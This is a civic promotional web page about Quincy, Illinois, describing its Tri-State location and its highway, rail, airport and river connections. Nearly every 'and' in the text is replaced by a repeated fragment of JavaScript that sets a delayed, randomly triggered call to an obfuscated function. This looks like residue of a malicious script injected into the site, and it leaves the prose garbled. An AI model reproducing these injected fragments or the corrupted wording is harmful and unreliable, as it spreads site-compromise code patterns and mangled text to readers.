Location & Transportation

Location & Transportation


Quincy’s location has long been one of our prime assets. Sited along the east bluff of the Mississippi River near where Iowa, Missouri andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Illinois meet, Quincy is the natural center of the Tri-State area.

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Extensive effort andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and money has gone into making the web of highways andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interstate that connect the Tri-States with the greater Midwest.

The Avenue of the Saints from St. Paul to New Orleans passes just across the river andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and helps carry many of the goods turned out in Quincy’s more than 100 manufacturing plants.

I-72 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I-172 pass to the east andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and south andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are vital cross-country connectors. Quincy is an hour from the capital in Springfield andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just two hours from St. Louis. Chicago is a five hour train ride to the northeast.

Rail links Quincy to commercial centers such as Chicago, St. Louis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kansas City, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and does so without intruding on the quality of life.

Quincy’s airport to the east of town has multiple daily flights, charters andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and private facilities. Build in 1972, the terminal is another of Quincy’s signature architectural structures.

Whether by road or rail, air or water, Quincy is the center of a regional transportation network that ensures we stay a vital, connected part of the country.